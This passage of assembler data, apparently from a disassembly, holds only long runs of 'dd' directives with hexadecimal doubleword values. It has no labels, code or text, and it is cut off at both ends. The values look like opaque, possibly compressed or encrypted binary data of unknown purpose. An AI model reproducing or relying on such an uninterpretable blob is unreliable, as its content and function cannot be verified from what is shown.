49F1BC39h dd 0D8288AAEh, 0F617B02Ch, 0C000B350h, 4A473C02h, 9D250077h dd 0F33AEE8Bh, 502EDC13h, 220FBA99h, 272B008Ah, 0A684ACh dd 0DCD9031Dh, 0DE73F074h, 6052E800h, 7A9F49F2h, 7E9C009Eh dd 6D91FB4Ah, 0FF1D2138h, 4F00F859h, 78EBEB3h, 39D2FE8Ah dd 81006180h, 0DF9CDC42h, 950F74CEh, 0E21EF52Eh, 0D0BD0D26h dd 96F00034h, 7D63FEFDh, 41E0BB49h, 4F69D700h, 0D34DABE3h dd 753B035Fh, 7AF4DC45h, 0BA072ED0h, 47A65E03h, 0E8B6368Ch dd 384F33CEh, 4CF6D7FFh, 78001450h, 4122311Fh, 0BE0067DDh dd 92BBFAFCh, 8015DBh, 3D450C19h, 0E3B11BA4h, 2BABEC04h dd 209C8BCAh, 24A33C5Fh, 5175BA81h, 20146EDAh, 293A4ED0h dd 0E171800Dh, 1363923Ch, 73F63856h, 0E113D00h, 7D9B3FCDh dd 8E50723Eh, 0F95DB3h, 651B857Ah, 0A920052h, 0E43F6FB9h dd 0F724D819h, 5B0B70BFh, 5DA4A04Eh, 3E4A3C76h, 0B705C9D4h dd 4FBCF767h, 0EFC0EA64h, 8E6F7A6Bh, 0F5CCC707h, 0A3E071FDh dd 3A9258Bh, 2DD077ABh, 7AA8C030h, 0E400C3E9h, 4253CB9Fh dd 0FFC6B4h, 861C4E6Bh, 1AEAF497h, 52364A02h, 43B08C40h dd 0C0FDCB28h, 39ED5796h, 2A0FD431h, 6B20339Ch, 0DDA9D279h dd 0A3219400h, 17E3348Ah, 4806F0A0h, 1B003480h, 0F787F9DEh dd 0EF543C08h, 0FA018FE0h, 0A58E9D4Ch, 3BC622h, 0F0AF15Ch dd 4A013D2Ch, 2E80CAB1h, 7AF0EF4Ch, 5B3A0097h, 619070B8h dd 0C70148AAh, 0C1833C1Bh, 17F803E0h, 50CB2CD9h, 69A8034h dd 59B7560h, 2EE93D0Fh, 0DF88E13Ch, 0A0F4C61Ah, 78A40E39h dd 0AF6079D6h, 33F16A05h, 45B0CB07h, 87F0408Dh, 6059FBC4h dd 949AB94Ch, 0F900AA79h, 0A124054Ah, 0A8EB43h, 0C3E6FD0h dd 226A51BEh, 5C03067Eh, 52660227h, 217C0739h, 0F1EC3765h dd 0C028AE04h, 0B3013BB8h, 0E74E589Bh, 0AAE0733Eh, 0B9DF01CBh dd 5E3A7DB1h, 57A4E4EDh, 0B3F99A1Dh, 425228C0h, 75F50746h dd 0AA830075h, 3FB8505Eh, 144C3627h, 0EE0F80BCh, 0CC6E5Ch dd 0FD6871CFh, 770723F0h, 0A4756F00h, 55D415D9h, 85F22A95h dd 0ED3101C0h, 8A797159h, 6FF3F072h, 80321338h, 4A73819Dh dd 38D02EF8h, 0BB870B9Eh, 0D03DFC5Bh, 0D718C321h, 0D8B1103h dd 0F052AA73h, 40351746h, 0DC78A998h, 0EA89CB00h, 0B057438Dh dd 8653120Ah, 0CD6000FAh, 0CE659597h, 8029843Eh, 62A6E030h dd 48EB767Bh, 0CF0244B2h, 0E4C0B043h, 875EFC60h, 28805Ch dd 0CC8A2A0h, 2C0EB4ADh, 3F4930h, 5B662DF0h, 311EAB1Eh dd 84034050h, 0E8C0862Ah, 0A2D201h, 99D6D7BBh, 6678F5C7h dd 4D7B4F00h, 0DB20FB38h, 115800B2h, 0B3C76CB0h, 1909783Fh dd 0DEA263h, 3B01FCA9h, 1DB500BFh, 46880934h, 409F306Ah dd 0DA6DA1h, 7BF9C39Dh, 8D118EA9h, 0ED710B00h, 5B73D862h dd 5A215816h, 941F0075h, 0E9A0B5F8h, 0D50B3401h, 0E1A05CBh dd 0CD9D01A8h, 0EF4A4BEh, 26910056h, 0C7B7D481h, 7A7E6C94h dd 614CFCE7h, 9563800h, 70C89001h, 0A323009Eh, 75807B98h dd 0E97F6C5Ah, 7EEBEE14h, 0B7A000A0h, 0C53D764Ch, 4BD3BE3h dd 689EE081h, 0D4ADAC90h, 0CA0778ECh, 4AC45F16h, 0BBE532C1h dd 1FBC3CE4h, 0D5790Dh, 18AD1F74h, 0CF7DA5C8h, 33D70C00h dd 0E2C2ABAEh, 0CE8201D3h, 0A1470D9Ah, 5AB8CB07h, 2AFEB5D4h dd 804DB30Fh, 506E4152h, 0E8DF0DA2h, 0B8C49091h, 0A3290037h dd 38751594h, 0C00EEC2h, 9B91BF3Eh, 652232h, 2EFEDF5Fh dd 9D93F65Dh, 4DB28D00h, 0B4743592h, 305916FAh, 0FA06FFAEh dd 7217362h, 0F7630544h, 508120B9h, 0D500B810h, 0D8D2286h dd 0E83A82C4h, 58802D8Fh, 0EC36000h, 0E700C7D3h, 388DE0D4h dd 0E806E1h, 9971C194h, 0D132A328h, 0E534A200h, 36A0FBA4h dd 92420049h, 29EBCEF5h, 89007E9Dh, 0BD5A1EB7h, 39FC463Bh dd 709859h, 8206A997h, 0CF04F688h, 0BC0AEC00h, 0D73F60CAh dd 2B5D031Dh, 0C9CD74BAh, 0B842BBC0h, 4FD6BAC0h, 3B3FA1CBh dd 0A880477Bh, 22A0D18Fh, 0D011368h, 9CD77802h, 80F82DA5h dd 60930038h, 4EDEFDB6h, 2303C32Ah, 62B18F99h, 0F0A4D878h dd 7B07A02h, 0FE2EA779h, 0F41A50BDh, 52F0F63Dh, 0A6454D01h dd 0D7E6873h, 2CD8C6CDh, 0FAF900BCh, 40CA2D38h, 63008548h dd 3F47D854h, 39AEE6Bh, 65A429B3h, 0EF8F840Ch, 0D1512163h dd 388F8F5h, 6D9CAEA5h, 0B18CCB40h, 0D43422B4h, 66A30761h dd 0D07B4CFFh, 0FAE4CEB5h, 0F289F07h, 873294C0h, 730580Bh dd 0C6E167B8h, 9A61E272h, 3AE53C60h, 1C80183Bh, 0EF40AF70h dd 0CD638C85h, 0AEF84Dh dd 0FCC3E4C9h, 361D3D2Bh, 1A3D3AB8h, 0B50980A1h, 0C82FB1F9h dd 61B6004Fh, 0F8071C8Fh, 6F782759h, 0E7D2D600h, 129A5A17h dd 865E0765h, 0D5752995h, 613CB00Ah, 8802214Ah, 6083E5A3h dd 737B064h, 0DB12F3C3h, 184180C7h, 0E600DD0Dh, 6B63794Ch dd 1D55CF6Ah, 0C048C98Bh, 4AD0D51Bh, 30C0686Ch, 0EC086201h dd 67BA0097h, 6DB5D707h, 0E0958C92h, 3B805044h, 5C897E9Bh dd 0B080F9F8h, 3EDFF17Ch, 0C5171800h, 3964D46Ch, 5E90009Ah dd 0F49D9427h, 58004D65h, 0C19319BCh, 317B9BD9h, 9C40F818h dd 48A32091h, 20BBE000h, 342DD483h, 0F423E8AFh, 0DF261ECEh dd 52EC690h, 43006019h, 9304B930h, 0E603F6h, 0E31E8CE0h dd 7CAC020h, 10C4CFEEh, 0FC806CBCh, 5B1ACABh, 6543C5A2h dd 81ACC08Dh, 120F2645h, 6F4E1D7Dh, 9713C0DDh, 92E09BCh dd 75814DDFh, 38956880h, 0FF0059C7h, 0ABC6F182h, 3688E4h dd 9B6ABEF5h, 0A4312FC2h, 0DE72FEF6h, 0AB131400h, 0CD4D3FA8h dd 0C64503CAh, 0F7ACCE9Ch, 7BB00EC8h, 7015E80Eh, 38FD0087h dd 73F410CFh, 4A59741Eh, 506CC061h, 0DE036AB3h, 0A0A89CC0h dd 0C937E85Dh, 8C081C35h, 0C3FE402Ch, 0D87D2A55h, 70085E4h dd 59BDDA67h, 79BADA8h, 92EE3FBEh, 38B7C0C4h, 5C000644h dd 110458CAh, 0DD4124h, 0B38BF895h, 0E3A1BCF1h, 92263101h dd 2E6473D2h, 0B85E7A70h, 0B6D30086h, 0E8E5171Eh, 8B008DBFh dd 9F2073DFh, 755844Bh, 0E4BB68C4h, 0E8BF3012h, 0C6006D9Bh dd 9E7B7163h, 0A01B5276h, 28DEE4BCh, 0E081CFA7h, 3FEE63Dh dd 485F3F8Dh, 4F8AD5B4h, 8CFAB858h, 3ED61000h, 69E6F598h dd 0C1E82C2Ch, 75C70528h, 4B8F8099h, 523EB1D4h, 7FE400C2h dd 0BD6C01A9h, 49690094h, 4333A77Ah, 9F00EB1Bh, 0B0423A84h dd 0A2A14Bh, 2A9B59F5h, 65DE25C7h, 0AC990B00h, 30D6CA9Ch dd 6C881211h, 7CAB008Ch, 0DD82FEAAh, 9CD43200h, 4C3079DCh dd 781B0028h, 37E1FDEFh, 58903F4Eh, 0C1190A07h, 7A50A303h dd 0FB731D4h, 231863BAh, 80259060h, 0D81EE3D3h, 778040E8h dd 5C56DE3Ah, 0B48348ECh, 3BD4FF24h, 7710312h, 0B0ED4466h dd 7A518674h, 87B4A816h, 50BE4F00h, 0B979901h, 0DDDC2C4h dd 478CE400h, 0F203B9CEh, 0C6AAB02Fh, 0FBDBA8A9h, 455C0059h dd 0FA728B6Ch, 0D900D31Ch, 8CAC38C2h, 2E131A4Eh, 809CD216h dd 0B9A112A6h, 0B8092D6Dh, 0E821D338h, 16241A8Ch, 4CA634h dd 0A4AE9BEh, 0D4009AB5h, 0CE4F4B72h, 0A03B35ECh, 3C215FCh dd 73097A77h, 39D03A66h, 589868D8h, 63F11600h, 0CCE0909Dh dd 4EBAB04Eh, 0EA8A4h, 6B27C4D7h, 0A5296Dh, 17AE2434h dd 493288CCh, 0E60371E2h, 62FE799Dh, 73A2D8C6h, 75410747h dd 20D8633Fh, 52C73003h, 0B426EE00h, 0F8B3CAFEh, 2B7F0056h dd 8484C0Dh, 9A00D87Eh, 8B2334CBh, 0C7F0AAh, 61E04696h dd 12AB9B66h, 9CCE763Bh, 0A82CE436h, 57D08F00h, 93EC4Ch dd 655917FEh, 3021028Bh, 800BA53Dh, 7D07B989h, 24665B1Eh dd 68FB0Fh, 57F26AF8h, 51002FE9h, 3F59C6B3h, 124002C1h dd 346414h, 15722A93h, 50388580h, 0A86389EEh, 0A6C42061h dd 23AF647h, 25AF0FCCh, 0E8400C4Ch, 0C900EC60h, 679D2624h dd 1AC24Dh, 0AF1462A2h, 0A9B50663h, 0CF00F47Ch, 5D79B666h dd 8D4B8h, 0A7765BE1h, 2EB0C504h, 68128000h, 6DBDCD2Dh dd 0C6D60743h, 59B12544h, 304B864h, 9B1AE2EDh, 470044ACh dd 1D108E0Dh, 0CA00AD5Eh, 0CD6A7134h, 7CA6B623h, 967D1E8Bh dd 0A94B40B2h, 60BA9E02h, 0FE0052B0h, 83ADD777h, 1649E3A7h dd 94E20Eh, 0C4AAF783h, 500EC9Bh, 12A76DDFh, 0B4DE10h dd 925E043h, 0F73EFD7Ch, 31BFE900h, 38D4813Dh, 465E1D5Dh dd 2829419Bh, 304F5884h, 3920B7BCh, 0DC860035h, 62CBE74Dh dd 4B25ED4Ch, 0A87860AAh, 7F5289Bh, 634102E8h, 31AF093Bh dd 54104340h, 28A0B00h, 0B023DCFDh, 86C009D5h, 0B4A2B39Fh dd 30E38D44h, 0F6E6EBD0h, 9C1AC40Ah, 301DD038h, 0A0203952h dd 9D20D87h, 125932A8h, 0A4648400h, 7D1FA182h, 6F0E2B67h dd 0ACD180BCh, 2CF5C149h, 0D01DFCh, 4F594C69h, 4802432Dh dd 6062E6D9h, 29060DAh, 88BF599Ah, 0ABE9EC00h, 7AD4384Ah dd 0F4905C00h, 9371A4ACh, 0BA502E95h, 0CFAB00E2h, 0F645C7DEh dd 48A36400h, 9272E79h, 0F5F406h, 2259BCCEh, 0E9B6788h dd 0D496D2F4h, 0BD037500h, 0A67C46h, 0C286DC38h, 53855AFCh dd 4D0F9E00h, 30F18DFFh, 0D5810324h, 642D65B3h, 0EC16F998h dd 0C801C5E4h, 6CDF768h, 0C06A708Ch, 4BE9EBD0h, 0AC6F8F00h dd 11DB3179h, 0FAD0001Eh, 51414999h, 0D92E0A5Bh, 170F49ECh dd 814E6368h, 120DD1BBh, 15D2B8F7h, 0B6E402B1h, 0E16424B7h dd 71607C60h, 288B082Ch, 6AE2A202h, 5E7468CAh, 7D211F44h dd 727EC341h, 18CE4AC2h, 0D4022F4Fh, 40F8AF13h, 644C93h dd 9A27E58Ah, 5C5A38C0h, 9706A301h, 0A9F9D5D6h, 706E3080h dd 8C86E2CCh, 0FEB6690Fh, 3A8AC0DFh, 3AFADh, 5DE4E997h dd 0D4520E62h, 98274705h, 88A04D7Eh, 146F0B10h, 900EBF5Ch dd 5B3AEBE0h, 0D84A03ECh, 0C500D2F8h, 0EFDAD963h, 0CD0014FCh dd 8DCF0C0Dh, 4591B7h, 62CC5873h, 791E9A53h, 6E6F7D0Ah dd 6B0087E2h, 573A638Bh, 8AE60108h, 3355BAC4h, 0F728801Fh dd 0A7D3A2F6h, 0FF8E0078h, 727F8C22h, 3C00BAAFh, 0F31136D7h dd 0EA4EE28h, 50D0F419h, 4C5514A3h, 74002F93h, 2375FE59h dd 26DA6DDh, 0A5A10921h, 4563E01h, 0FEE0D880h, 70BC13h dd 780FB172h, 0A3573D5Dh, 8D00DCE2h, 21890B58h, 7387EFh dd 0ED1D4F8h, 9B3FCEA8h, 503A1000h, 1D2EABEBh, 987513B2h dd 8168A0DEh, 0A579E90Ch, 0F0D11121h, 2767F8C7h, 7C48D544h dd 0C9010F47h, 5170BE95h, 0B4D1767Ch, 24FFD8h, 0B94F192Dh dd 0D10EC6E9h, 600230C0h, 0CBEACCh, 5FC7840Ah, 0DFF44C80h dd 0AAA48300h, 0AC1D0659h, 790C045Eh, 0BA117D36h, 0C6B5C841h dd 0D1F07718h, 0E3FE576h, 0B020DE0Ch, 8EF3FE02h, 42809006h dd 5C04F23h, 44648560h, 0C45848D6h, 0C78A610h, 964D7131h dd 7300BCA0h, 7C6E81CBh, 252D5A02h, 245820D0h, 0A5884102h dd 60ED6604h, 0D1211Ch, 4DD55A0Bh, 4C9B2616h, 234B0D00h dd 8C793DA2h, 0D6F000F2h, 7E3F5029h, 5338AD7Ch, 0CB4C52h dd 570595F8h, 8202C2h, 39BB7441h, 7DC4D9B6h, 5DC0C79Dh dd 80A6960h, 92924EBAh, 872FB198h, 0D1CBAF48h, 610E8040h dd 9905DE77h, 0E425F9BCh, 2F410070h, 0F13BD18Ch, 6509666Eh dd 807BF890h, 1182BA30h, 237904C8h, 0AE559826h, 0EEB0EC45h dd 0A03850ECh, 0BC818309h, 0CE03C476h, 682E130h, 98060D29h dd 0F3C11EDh, 7F7D1C7Ch, 75900C03h, 0EF1825E4h, 0E31D74FAh dd 4F4A739Fh, 0DC17641Ah, 6CC511h, 0E507B0C9h, 1FC0A7E0h dd 401877EFh, 0DA5AB7B4h, 47281787h, 0DF1C3410h, 400D4E2h dd 18F14DAFh, 85D61C24h, 762180FDh, 0F80D2786h, 97E1AB09h dd 1EFC58E8h, 13DC6964h, 0AAE8F025h, 3500C0A4h, 0BE32C9E9h dd 2EA9F59h, 54586CC2h, 0E0764F3Dh, 0B5900660h, 238001EAh dd 8A46E217h, 4C0DD897h, 8621751Fh, 0ACE0CD01h, 82F09631h dd 0EE8026C9h, 0CEA700B2h, 0FAF36563h, 9B9E0900h, 0BB2A43DDh dd 60DF7398h, 0E82130CAh, 890FA3B2h, 188BB966h, 30540D48h dd 17603C79h, 2A009944h dd 6105712Dh, 0C3557FCh, 88A066FDh, 70E8CF31h, 3C90783Dh dd 506E046Fh, 3080C1EFh, 0B018B2A7h, 8C8F0034h, 0FC39CBBAh dd 0BF00788Eh, 0F54F3FACh, 1DACE18h, 0ECF84D21h, 80C1C4F4h dd 0EF280510h, 182A8F08h, 71D0A466h, 201852DFh, 50116E5Eh dd 0A97F003Ch, 7A533894h, 0C80C356Bh, 202A0C40h, 62C1000Fh dd 0DE038401h, 0C3002FD8h, 77E97B10h, 5F2DA5h, 0DA2B57D0h dd 55AA347Ah, 1D187667h, 261EA480h, 2C09000Dh, 0AD61F1CEh dd 0FDF8704Bh, 877FF978h, 50004378h, 0D767F591h, 76BEC5h dd 771D8DB9h, 0EE0C2073h, 0B22DD01Fh, 0FDCCA41Fh, 609A5072h dd 0B0BF682Bh, 4C3BC83Fh, 773000Ah, 0D9EEEB5Ch, 0F76F3077h dd 43E5A619h, 79763B1Fh, 3DACA0Fh, 0C03A3119h, 60203F89h dd 1D7D28B2h, 2F037317h, 6B8F7709h, 0C218005Bh, 23DABDE7h dd 79CA2460h, 29700476h, 0EEED38D8h, 0CBE2CE80h, 7705C772h dd 3514C5Ch, 538470E6h, 12EC8D2h, 61F930CAh, 3DA179Ch dd 0C458E600h, 0CC29EE02h, 3A5F451h, 0EC771CCDh, 690FB345h dd 8078D79Fh, 2A1EE2F9h, 193B3A32h, 3C219E30h, 0A70F78DFh dd 0E7FFB9Fh, 0C807203Fh, 306FF35Dh, 0A4D89877h, 0BB08D4FEh dd 817A877Dh, 36ECED16h, 0B389F8F5h, 1E09FD66h, 0F75FA21h dd 69EBD2EDh, 2A728237h, 98AD80A0h, 547D3811h, 0F0D42651h dd 0AC02D3E1h, 39A15DFDh, 88908079h, 0C50CB0Fh, 0BEA5D6E3h dd 0D8B5F558h, 1DD88848h, 388C2025h, 36B4C901h, 904787FBh dd 0E32D2080h, 0D77D7504h, 120820A7h, 87F5C069h, 0D083403Bh dd 486F81C0h, 0E324409Fh, 3CFD0808h, 0C47AF301h, 2CE5CDBEh dd 0A8DD986h, 3A0628BBh, 72A2B91Ah, 21716008h, 0CDBB0262h dd 0E2345Ch, 4954CCD5h, 30E5E8B2h, 0C0F8A3C5h, 0F122E73h dd 1440BA6Eh, 0DEE7B605h, 936F0C52h, 0A1093A7Ah, 7DE521C0h dd 7A3FA5F8h, 5823000Fh, 52D890EBh, 7550E9F4h, 4B00C0B0h dd 0D1180273h, 92675FB7h, 0F480000h, 0BF40AFA6h, 2200A2D0h dd 8174C71Ah, 30A45226h, 0B44001E9h, 8F50CBA0h, 51073484h dd 323F8868h, 0DFBF0411h, 0A3DF0Bh, 429E783Bh, 28018CE7h dd 0C00B5D6Ch, 41DF6FA1h, 0A985DA69h, 2F714DB4h, 0A3238Ch dd 2F633F74h, 940433CAh, 2A70E4A8h, 46481CC1h, 0C3019423h dd 0C2F9B178h, 8B770C19h, 4590CBF3h, 7A0037D5h, 0CC57072Ch dd 3D7EE4Bh, 0F243E253h, 78182E34h, 69E925FDh, 5B5D0022h dd 5349D3DEh, 0EEFE51B5h, 54DF8904h, 0D882D265h, 0C544904Ah dd 0F9CF1178h, 804C8832h, 4F78CD72h, 0DC1CB21Dh, 0B824CE20h dd 405594h, 821DF442h, 498D7Ah, 2FEF517Fh, 0F2128B78h dd 0C5FB2200h, 0A58A9991h, 0BF882A43h, 647D98h, 0A331AE59h dd 0C3901AB2h, 3BFFE300h, 0CAD8EE1h, 50B0D4D8h, 0B5000823h dd 0B752C3E7h, 8EC4A592h, 0A6407CF8h, 0D0A9F0E8h, 43B28106h dd 0B104F1h, 8D8CA345h, 52E08960h, 85C664A0h, 7CFCD900h dd 638FF557h, 59A0006Ch, 949A659Bh, 0A82CC348h, 98321410h dd 0D9A4B04Eh, 0F9AB0878h, 4B641FD2h, 78C12640h, 6000372Ch dd 4A476509h, 118BCA7h, 5A6D76A2h, 20296B81h, 0AC005244h dd 23AD94FAh, 426932h, 50C824A1h, 0B8B2798Bh, 0B3052C99h dd 0BB811FDCh, 38911EFEh, 0B62803C2h, 0B84683h, 7EA05C80h dd 409A39Ch, 784CB090h, 8C04E8B0h, 275E3Ah, 1F4A6B56h dd 45A32C6h, 0F818AEA0h, 63E890A9h, 21EECBFh, 4D9390CDh dd 1889B049h, 34FDDAE0h, 0C718BAA5h, 561E517Ch, 0F51081B9h dd 0A21EC27h, 31AA28A8h, 57183A35h, 9CC4C648h, 30D78D36h dd 17346C8h, 0F550ECE7h, 50C8F2Eh, 4F3088h, 267FC1EDh dd 4A32D2F6h, 8D32D5FAh, 82D76833h, 8505E1A4h, 0F42F1D94h dd 161C4C23h, 0A1950280h, 0B9384F8Bh, 287C1404h, 178C77B8h dd 7D52EDh, 6F53A9C0h, 0D100E8B8h, 0EEA24E96h, 655D015h dd 3F214A57h, 0D600E97Dh, 7B31B45Ah, 26891819h, 119CA7E2h dd 0BB5080CBh, 870ADAE1h, 0BB086C05h, 94998C0h, 7D2E296h dd 18CF63C1h, 0D96144B9h, 2D442D4h, 8E7AB30h, 936752C5h dd 0FA43A064h, 0E6F0F872h, 6A70E19Ch, 89CF4E13h, 30C1F472h dd 0E708BB5Eh, 641B1ADAh, 366E403Eh, 0BEC7BBh, 4824D001h dd 20E23934h, 0A5486FB8h, 2E54859Ch, 0CFC3C800h, 0CFDA64Bh dd 0AF8E155Eh, 0F90AC219h, 6C3373F1h, 0B4850911h, 0DF7882E7h dd 0AC44406Ch, 0F87302FFh, 0A288473Dh, 7C800451h, 19836FF1h dd 62EF01E2h, 0F28BE58Fh, 5BC1812Eh, 649CB31Eh, 0BEDC30h dd 0BC94B789h, 3FA1B869h, 0C8908C68h, 11038209h, 0C4184B50h dd 0F9B47804h, 903219CAh, 78CC7520h, 8A1200C8h, 5BF850A4h dd 7909CE73h, 9020F7A1h, 0DD7BA540h, 2C8AB60h, 0B929F65Ah dd 2024DC44h, 0F4423835h, 61D840CEh, 57F38030h, 0E3A8D854h dd 0CF8E38B9h, 1EAC0C1h, 6F40248h, 74DA2E4h, 2E09F0FAh dd 3022524Fh, 25BC502Ch, 0D83A2775h, 0F425CC7h, 9ED0182Eh dd 995D5C05h, 0A84B3D73h, 118C1DFDh, 0C3208F43h, 0EC3CF3FAh dd 0F792C92h, 0C2FC0DEAh, 30951D68h, 81809091h, 114C668Ah dd 0FB8EB201h, 1415E622h, 60EEB040h, 0DF1D00B5h, 0F35F7075h dd 7D6045C5h, 0B6660141h, 1F26009Bh, 0C359B97Fh, 2258215Ah dd 0E2A6C0DCh, 0CA0E1Bh, 0B31A12D3h, 56A09EDAh, 43680102h dd 4836C816h, 2A41E44h, 613FBAE4h, 0EC6A2D7Fh, 0AC4C047h dd 14B76060h, 3E074300h, 0C1D1A35Fh, 6088966Dh, 7B942675h dd 8290A0A0h, 4D25C004h, 5081C4F9h, 80227045h, 0DE017523h dd 3AF9AA78h, 7F884A18h, 0CD7801C6h, 270E10D3h, 0FD14303Dh dd 0F221F409h, 80C4295Bh, 86BD1CD1h, 49B238DEh, 9D920682h dd 0EC962438h, 4971E891h, 643F6A18h, 45570CC7h, 0A07C81Ch dd 3BD15AAAh, 43DB80B8h, 7669CA50h, 0E49189Ch, 54805188h dd 0EADB45BBh, 688F448Ch, 0EEBB0C00h, 2F3B158Dh, 0F21606B0h dd 50249057h, 0AC1E2238h, 0C350D0D6h, 0D690231h, 0F34DB3D0h dd 0C7005064h, 0EC1C6E7Ah, 0E460FA18h, 50C23C3Eh, 0C874B69Bh dd 2517F1D8h, 36119C99h, 0D9E7B780h, 608CC752h, 7EFE610Eh dd 3000BBF8h, 34B88291h, 81FBAD5h, 7655A718h, 0CA353344h dd 2E0EC40Ch, 0C3F00730h, 525EFA04h, 8E1D61Ch, 4428A8h dd 3FC59BF4h, 103907FFh, 6093A0BAh, 0B86CC714h, 28058C09h dd 27255452h, 80936404h, 5A807D0Fh, 0AD786CBDh, 716171Fh dd 9F3AC587h, 62FAE440h, 3E12091Ah, 882A4F14h, 6078E4C0h dd 2353ED44h, 41146F5h, 7AECCF1Ch, 0AC56BB8Fh, 60FFD6BDh dd 23510790h, 7A72F8A8h, 0A96F8932h, 0C8D04CE3h, 0E2C07278h dd 0EAF509ECh, 3D80858Ah, 6C7AED4Ah, 0E919008Ch, 0BCA4AF71h dd 7680D155h, 37460051h, 5FBB4FD6h, 6104882Eh, 5ADBB922h dd 3838D4D9h, 68C43ACh, 7381FA62h, 3807488Ah, 27F592E3h dd 34A4B8D4h, 0A8D353A9h, 0EA3301E2h, 9D54C033h, 0F1C08003h dd 0F18423F3h, 8C0C2DADh, 0D51ED800h, 91573027h, 0AD59C321h dd 14886299h, 261D6BFDh, 0B60343F6h, 0D0F3A70Eh, 192CDC66h dd 9C40A92h, 8721934Fh, 0DCC52F00h, 534419h, 1BE854BCh dd 897D69B3h, 0D8595200h, 95E7EFF8h, 2D290393h, 0E2411A46h dd 613191C1h, 7008006Bh, 9E183A45h, 2E60470Ah, 55AA008Ah dd 0B20F8891h, 8CC8089h, 0E4B2121h, 0D722AAF2h, 1EA7F0A0h dd 53E7392h, 0B2430C0Fh dd 96280Eh, 0FBF70263h, 336FA362h, 6A084B66h, 5B7D0021h dd 888BAD02h, 0A17207C3h, 0F87A46FCh, 8C37C529h, 0CD8F2011h dd 3CDC6042h, 3585001Ch, 152472FDh, 0DD080DFCh, 0E1463B1h dd 784CCD9Dh, 0E9190158h, 3918202Bh, 30388042h, 2B11AA8Ch dd 24889891h, 0AAF44980h, 1D2079Bh, 5E984552h, 80159E93h dd 7109B121h, 1DDC74CEh, 181F2312h, 3E47A075h, 29139B30h dd 8BF364h, 0DB332022h, 0CD619897h, 944AE528h, 45C11C0Fh dd 0F70E008Eh, 0C0169E35h, 0F30C6039h, 0E00F9329h, 41582664h dd 89662818h, 7D6043C8h, 9E72488Fh, 4CFF507Ah, 0D6DD1FC1h dd 718D5DB5h, 806A7F80h, 0CB540B99h, 1902E0E6h, 41E8432Bh dd 29218030h, 81F5CB2Ch, 0F8D50694h, 59199E1Bh, 8E015374h dd 0B5FA5A10h, 49F08448h, 57F40079h, 1B9363E7h, 0C414B1CDh dd 1FC00D75h, 0A9099DAh, 750B5150h, 2CF8A9EBh, 6CF4F118h dd 448CDC71h, 390281B3h, 0BB47AEFDh, 6248879Bh, 98022180h dd 0C5060045h, 0DACDDC91h, 0A43C975Fh, 51C109B3h, 3E80037Ch dd 4839F25Bh, 32B8C38h, 99DC78CFh, 0A041324Fh, 971088C0h dd 29A84C19h, 6FE8ED8Ch, 229446DCh, 3E9E004Eh, 32884FFDh dd 0C91891F1h, 0E0805C65h, 24B7EEFFh, 74C47C7Fh, 8031A46h dd 58E92992h, 63405012h, 90BB040h, 7C80FA64h, 0FE20EC37h dd 0EA3F00A5h, 9BE21848h, 48D94591h, 89183978h, 9154AA04h dd 27320CD0h, 0AAF1A22Fh, 7271408Eh, 0DBD305E5h, 2124E399h dd 88212E8h, 0F07A8C23h, 24DC6111h, 848A4B88h, 7300A438h dd 0A559F5DCh, 32530057h, 5EFC9E37h, 50256E1h, 0B6C23571h dd 4604C67h, 0E0E7CB51h, 2032620Ah, 0B3CB292Eh, 0EF014576h dd 53F4223Ch, 3FDDFC46h, 0F18B884h, 6660D8F7h, 0FBF00208h dd 4068C44Ah, 0F8025E76h, 8CC60FE9h, 0C46F2FC7h, 0E7777140h dd 643EF1D2h, 9D5287D9h, 276250C9h, 44BC4741h, 0BC3E6033h dd 0EC2B0FF0h, 245FF7FDh, 0FE9B0118h, 0E843C951h, 1D549E3Eh dd 740017D0h, 0C79B4AEBh, 52720C4h, 0F1B999A8h, 57B4405Ch dd 0BAB3347Dh, 9540690Fh, 4EDC98Dh, 0C0673504h, 0F09128AAh dd 48C004B1h, 79AAAF5h, 16DF9D87h, 0B0E7A23Bh, 0D0E590A0h dd 0B23EE0F4h, 0AE561F2Ah, 97293102h, 5B84A41Ah, 8BCB5560h dd 0C32AE038h, 2DF60D22h, 0D9CB3Bh, 17381441h, 29C19089h dd 0D1287B81h, 37D1879h, 318C372Bh, 48016301h, 0C1D789FDh dd 109268CDh, 0F00C083Ah, 0F1026DC0h, 0A1722CFBh, 653F586Ch dd 5DBF0200h, 0B0269779h, 7DD90277h, 901C5B3h, 16F7F03h dd 90329689h, 806D403Ah, 27E32141h, 147880h, 0FEC858B5h dd 3CF5A404h, 2A00FCF2h, 4951E403h, 12534C3h, 0CBF76F53h dd 51429561h, 0E0F2F4F0h, 11DE5E89h, 0C171E99Bh, 0E4579353h dd 0CCCBF5F0h, 30B03Eh, 0F38D3961h, 0CD941F53h, 44932E16h dd 0BE12431h, 0BE6CC214h, 0B3621360h, 5A043176h, 4AD9CC16h dd 8C3E64C8h, 51AAE602h, 190CE891h, 8E571025h, 818600AAh dd 89D5E9D9h, 0BCA7694Fh, 7389B14Fh, 37DD7300h, 2E011F40h dd 0E4D9B1BDh, 0BEEFEFE0h, 0B65B14A0h, 548088EAh, 4BE9DC69h dd 3CB31129h, 40189579h, 2C1254E6h, 7D01F69Bh, 0B861CFE7h dd 0D8317082h, 28405BF9h, 4DF8FFA9h, 0DC5718C7h, 3B2613C3h dd 7811E78h, 0C5180E73h, 43A18C7Fh, 1D77697Bh, 40B953F0h dd 0F1C749E1h, 310146E6h, 6CC46F7Bh, 8DE8C592h, 0D124B15Bh dd 77FC182Dh, 0ED5B3F07h, 4D32D980h, 0FD5E2D63h, 8CE87639h dd 0B8586A17h, 0B511240Fh, 0FF188590h, 9DAC41F5h, 603377C1h dd 0F719E035h, 7431BBADh, 53F37C36h, 9A78908Fh, 5520EFE2h dd 0B0F1245Fh, 6426806Ch, 0BB515769h, 70C77E00h, 0DFD08EC4h dd 0A13100F5h, 0CD8EE68h, 4328E9DDh, 0E8ADF013h, 5AEA6EE0h dd 0C98600E1h, 1CC52885h, 0E20C558Ch, 98403DCFh, 441C99D4h dd 26F608Eh, 82FB10CBh, 8097C8A0h, 0C6026739h, 1201247Dh dd 775138C9h, 25CC354Ch, 0DD270075h, 3B3013DBh, 24141BA3h dd 228CF17Ah, 5CC8C79h, 0C4E3FFE4h, 0B2980833h, 0A201D280h dd 0CF21CAh, 612A095Dh, 44B19596h, 62B59309h, 0CB982191h dd 0E0C801E5h, 0D54CEACFh, 53109460h, 9161132Bh, 54BC3020h dd 180C6E14h, 402816D6h, 0F4C98EF4h, 0C00530B5h, 38558472h dd 0E80F9C05h, 77050C80h, 0DA4C096Dh, 1044B613h, 2D461CB0h dd 6308F23Dh, 48C4F4DCh, 